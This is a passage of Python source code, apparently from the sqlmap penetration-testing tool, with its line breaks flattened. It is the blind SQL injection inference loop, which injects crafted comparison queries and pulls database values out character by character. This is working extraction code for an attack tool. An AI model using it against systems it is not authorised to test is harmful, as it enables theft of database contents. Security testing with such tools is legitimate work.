kb.injection.data[kb.technique].vector query = agent.prefixQuery( query.replace( "[INFERENCE]", "(%s)=%s" % (expressionUnescaped, testValue))) query = agent.suffixQuery(query) result = Request.queryPage( agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: if showEta: progress.progress(time.time() - charStart, len(commonValue)) elif conf.verbose in (1, 2) or hasattr( conf, "api"): dataToStdout( filterControlChars(commonValue[index - 1:])) finalValue = commonValue break # If there is a common pattern starting with partialValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms( )].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape( "'%s'" % commonPattern ) if "'" not in commonPattern else unescaper.escape( "%s" % commonPattern, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery( query.replace("[INFERENCE]", "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage( agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: val = commonPattern[index - 1:] index += len(val) - 1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern # (common pattern) use the returned common charset only # to retrieve the query output if not val and commonCharset: val = getChar(index, commonCharset, False) # If we had no luck with commonValue and common charset, # use the returned other charset if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: val = getChar(index, asciiTbl) if val is None: finalValue = partialValue break if kb.data.processChar: val = kb.data.processChar(val) partialValue += val if showEta: progress.progress(time.time() - charStart, index) elif conf.verbose in (1, 2) or hasattr(conf, "api"): dataToStdout(filterControlChars(val)) # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[ -INFERENCE_BLANK_BREAK:].isspace( ) and partialValue.strip(' ')[-1:] != '\n': finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break if (lastChar > 0 and index >= lastChar): finalValue = "" if length == 0 else partialValue finalValue = finalValue.rstrip( ) if len(finalValue) > 1 else finalValue partialValue = None break except KeyboardInterrupt: abortedFlag = True finally: kb.prependFlag = False kb.stickyLevel = None retrievedLength = len(finalValue or "") if finalValue is not None: finalValue = decodeHexValue( finalValue) if conf.hexConvert else finalValue hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite( expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) if conf.hexConvert and not abortedFlag and not hasattr(conf, "api"): infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime( "%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if kb.threadException: raise SqlmapThreadException( "something unexpected happened inside the threads") if abortedFlag: raise KeyboardInterrupt _ = finalValue or partialValue return getCounter( kb.technique), safecharencode(_) if kb.safeCharEncode else _